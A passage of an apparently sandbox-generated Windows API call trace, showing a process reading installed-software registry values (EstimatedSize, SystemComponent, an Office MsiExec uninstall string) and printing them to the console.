GetConsoleOutputCP () returned 0x1b5 [0147.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0147.822] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.822] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.822] __iob_func () returned 0x7fefd702a80 [0147.822] _fileno (_File=0x7fefd702ab0) returned 1 [0147.822] _errno () returned 0xc4bb0 [0147.822] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.822] _errno () returned 0xc4bb0 [0147.822] GetFileType (hFile=0x50) returned 0x1 [0147.822] lstrlenW (lpString=" ") returned 4 [0147.822] GetConsoleOutputCP () returned 0x1b5 [0147.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.822] GetConsoleOutputCP () returned 0x1b5 [0147.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.822] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.822] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.822] __iob_func () returned 0x7fefd702a80 [0147.822] _fileno (_File=0x7fefd702ab0) returned 1 [0147.822] _errno () returned 0xc4bb0 [0147.822] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.822] _errno () returned 0xc4bb0 [0147.822] GetFileType (hFile=0x50) returned 0x1 [0147.823] lstrlenW (lpString="REG_DWORD") returned 9 [0147.823] GetConsoleOutputCP () returned 0x1b5 [0147.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.823] GetConsoleOutputCP () returned 0x1b5 [0147.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.823] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.823] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.823] __iob_func () returned 0x7fefd702a80 [0147.823] _fileno (_File=0x7fefd702ab0) returned 1 [0147.823] _errno () returned 0xc4bb0 [0147.823] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.823] _errno () returned 0xc4bb0 [0147.823] GetFileType (hFile=0x50) returned 0x1 [0147.823] lstrlenW (lpString=" ") returned 4 [0147.823] GetConsoleOutputCP () returned 0x1b5 [0147.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.823] GetConsoleOutputCP () returned 0x1b5 [0147.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.823] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.823] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.824] __iob_func () returned 0x7fefd702a80 [0147.824] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.824] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x30") returned 4 [0147.824] _fileno (_File=0x7fefd702ab0) returned 1 [0147.824] _errno () returned 0xc4bb0 [0147.824] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.824] _errno () returned 0xc4bb0 [0147.824] GetFileType (hFile=0x50) returned 0x1 [0147.824] lstrlenW (lpString="0x30") returned 4 [0147.824] GetConsoleOutputCP () returned 0x1b5 [0147.824] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x30", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.824] GetConsoleOutputCP () returned 0x1b5 [0147.824] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x30", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x30", lpUsedDefaultChar=0x0) returned 4 [0147.824] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.824] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.824] __iob_func () returned 0x7fefd702a80 [0147.824] _fileno (_File=0x7fefd702ab0) returned 1 [0147.824] _errno () returned 0xc4bb0 [0147.824] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.824] _errno () returned 0xc4bb0 [0147.824] GetFileType (hFile=0x50) returned 0x1 [0147.824] lstrlenW (lpString="\n") returned 1 [0147.824] GetConsoleOutputCP () returned 0x1b5 [0147.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.825] GetConsoleOutputCP () returned 0x1b5 [0147.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.825] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.825] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.825] GetProcessHeap () returned 0x2e0000 [0147.825] GetProcessHeap () returned 0x2e0000 [0147.825] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.825] GetProcessHeap () returned 0x2e0000 [0147.825] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.825] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.825] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.825] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.825] GetProcessHeap () returned 0x2e0000 [0147.825] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.825] GetProcessHeap () returned 0x2e0000 [0147.825] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.825] GetProcessHeap () returned 0x2e0000 [0147.825] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.825] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.825] __iob_func () returned 0x7fefd702a80 [0147.825] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.825] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.825] _fileno (_File=0x7fefd702ab0) returned 1 [0147.825] _errno () returned 0xc4bb0 [0147.825] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.825] _errno () returned 0xc4bb0 [0147.825] GetFileType (hFile=0x50) returned 0x1 [0147.826] lstrlenW (lpString=" ") returned 4 [0147.826] GetConsoleOutputCP () returned 0x1b5 [0147.826] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.826] GetConsoleOutputCP () returned 0x1b5 [0147.826] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.826] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.826] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.826] lstrlenW (lpString="SystemComponent") returned 15 [0147.826] __iob_func () returned 0x7fefd702a80 [0147.826] _fileno (_File=0x7fefd702ab0) returned 1 [0147.826] _errno () returned 0xc4bb0 [0147.826] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.826] _errno () returned 0xc4bb0 [0147.826] GetFileType (hFile=0x50) returned 0x1 [0147.826] lstrlenW (lpString="SystemComponent") returned 15 [0147.826] GetConsoleOutputCP () returned 0x1b5 [0147.826] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.826] GetConsoleOutputCP () returned 0x1b5 [0147.826] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0147.826] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.826] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.827] __iob_func () returned 0x7fefd702a80 [0147.827] _fileno (_File=0x7fefd702ab0) returned 1 [0147.827] _errno () returned 0xc4bb0 [0147.827] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.827] _errno () returned 0xc4bb0 [0147.827] GetFileType (hFile=0x50) returned 0x1 [0147.827] lstrlenW (lpString=" ") returned 4 [0147.827] GetConsoleOutputCP () returned 0x1b5 [0147.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.827] GetConsoleOutputCP () returned 0x1b5 [0147.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.827] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.827] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.827] __iob_func () returned 0x7fefd702a80 [0147.827] _fileno (_File=0x7fefd702ab0) returned 1 [0147.827] _errno () returned 0xc4bb0 [0147.827] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.827] _errno () returned 0xc4bb0 [0147.827] GetFileType (hFile=0x50) returned 0x1 [0147.827] lstrlenW (lpString="REG_DWORD") returned 9 [0147.827] GetConsoleOutputCP () returned 0x1b5 [0147.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.828] GetConsoleOutputCP () returned 0x1b5 [0147.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.828] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.828] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.828] __iob_func () returned 0x7fefd702a80 [0147.828] _fileno (_File=0x7fefd702ab0) returned 1 [0147.828] _errno () returned 0xc4bb0 [0147.828] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.828] _errno () returned 0xc4bb0 [0147.828] GetFileType (hFile=0x50) returned 0x1 [0147.828] lstrlenW (lpString=" ") returned 4 [0147.828] GetConsoleOutputCP () returned 0x1b5 [0147.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.828] GetConsoleOutputCP () returned 0x1b5 [0147.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.828] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.828] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.828] __iob_func () returned 0x7fefd702a80 [0147.828] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.828] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.828] _fileno (_File=0x7fefd702ab0) returned 1 [0147.828] _errno () returned 0xc4bb0 [0147.829] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.829] _errno () returned 0xc4bb0 [0147.829] GetFileType (hFile=0x50) returned 0x1 [0147.829] lstrlenW (lpString="0x1") returned 3 [0147.829] GetConsoleOutputCP () returned 0x1b5 [0147.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.829] GetConsoleOutputCP () returned 0x1b5 [0147.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.829] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.829] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.829] __iob_func () returned 0x7fefd702a80 [0147.829] _fileno (_File=0x7fefd702ab0) returned 1 [0147.829] _errno () returned 0xc4bb0 [0147.829] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.829] _errno () returned 0xc4bb0 [0147.829] GetFileType (hFile=0x50) returned 0x1 [0147.829] lstrlenW (lpString="\n") returned 1 [0147.829] GetConsoleOutputCP () returned 0x1b5 [0147.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.829] GetConsoleOutputCP () returned 0x1b5 [0147.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.830] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.830] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.830] GetProcessHeap () returned 0x2e0000 [0147.830] GetProcessHeap () returned 0x2e0000 [0147.830] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.830] GetProcessHeap () returned 0x2e0000 [0147.830] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.830] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.830] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.830] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.830] GetProcessHeap () returned 0x2e0000 [0147.830] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.830] GetProcessHeap () returned 0x2e0000 [0147.830] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.830] GetProcessHeap () returned 0x2e0000 [0147.830] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.830] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{90160000-008C-0409-1000-0000000FF1CE}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.830] __iob_func () returned 0x7fefd702a80 [0147.830] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.830] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.830] _fileno (_File=0x7fefd702ab0) returned 1 [0147.830] _errno () returned 0xc4bb0 [0147.830] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.830] _errno () returned 0xc4bb0 [0147.830] GetFileType (hFile=0x50) returned 0x1 [0147.830] lstrlenW (lpString=" ") returned 4 [0147.830] GetConsoleOutputCP () returned 0x1b5 [0147.830] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.831] GetConsoleOutputCP () returned 0x1b5 [0147.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.831] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.831] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.831] lstrlenW (lpString="UninstallString") returned 15 [0147.831] __iob_func () returned 0x7fefd702a80 [0147.831] _fileno (_File=0x7fefd702ab0) returned 1 [0147.831] _errno () returned 0xc4bb0 [0147.831] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.831] _errno () returned 0xc4bb0 [0147.831] GetFileType (hFile=0x50) returned 0x1 [0147.831] lstrlenW (lpString="UninstallString") returned 15 [0147.831] GetConsoleOutputCP () returned 0x1b5 [0147.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.831] GetConsoleOutputCP () returned 0x1b5 [0147.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0147.831] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.831] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.831] __iob_func () returned 0x7fefd702a80 [0147.831] _fileno (_File=0x7fefd702ab0) returned 1 [0147.831] _errno () returned 0xc4bb0 [0147.831] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.831] _errno () returned 0xc4bb0 [0147.832] GetFileType (hFile=0x50) returned 0x1 [0147.832] lstrlenW (lpString=" ") returned 4 [0147.832] GetConsoleOutputCP () returned 0x1b5 [0147.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.832] GetConsoleOutputCP () returned 0x1b5 [0147.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.832] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.832] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.832] __iob_func () returned 0x7fefd702a80 [0147.832] _fileno (_File=0x7fefd702ab0) returned 1 [0147.832] _errno () returned 0xc4bb0 [0147.832] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.832] _errno () returned 0xc4bb0 [0147.832] GetFileType (hFile=0x50) returned 0x1 [0147.832] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.832] GetConsoleOutputCP () returned 0x1b5 [0147.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.832] GetConsoleOutputCP () returned 0x1b5 [0147.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.832] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.833] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.833] __iob_func () returned 0x7fefd702a80 [0147.833] _fileno (_File=0x7fefd702ab0) returned 1 [0147.833] _errno () returned 0xc4bb0 [0147.833] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.833] _errno () returned 0xc4bb0 [0147.833] GetFileType (hFile=0x50) returned 0x1 [0147.833] lstrlenW (lpString=" ") returned 4 [0147.833] GetConsoleOutputCP () returned 0x1b5 [0147.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.833] GetConsoleOutputCP () returned 0x1b5 [0147.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.833] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.833] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.833] __iob_func () returned 0x7fefd702a80 [0147.833] _fileno (_File=0x7fefd702ab0) returned 1 [0147.833] _errno () returned 0xc4bb0 [0147.833] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.833] _errno () returned 0xc4bb0 [0147.833] GetFileType (hFile=0x50) returned 0x1 [0147.833] lstrlenW (lpString="MsiExec.exe /X{90160000-008C-0409-1000-0000000FF1CE}") returned 52 [0147.833] GetConsoleOutputCP () returned 0x1b5 [0147.834] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{90160000-008C-0409-1000-0000000FF1CE}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.834] GetConsoleOutputCP () returned 0x1b5 [0147.834] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{90160000-008C-0409-1000-0000000FF1CE}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{90160000-008C-0409-1000-0000000FF1CE}", lpUsedDefaultChar=0x0) returned 52 [0147.834] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.834] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.834] __iob_func () returned 0x7fefd702a80 [0147.834] _fileno (_File=0x7fefd702ab0) returned 1 [0147.834] _errno () returned 0xc4bb0 [0147.834] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.834] _errno () returned 0xc4bb0 [0147.834] GetFileType (hFile=0x50) returned 0x1 [0147.834] lstrlenW (lpString="\n") returned 1 [0147.834] GetConsoleOutputCP () returned 0x1b5 [0147.834] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, 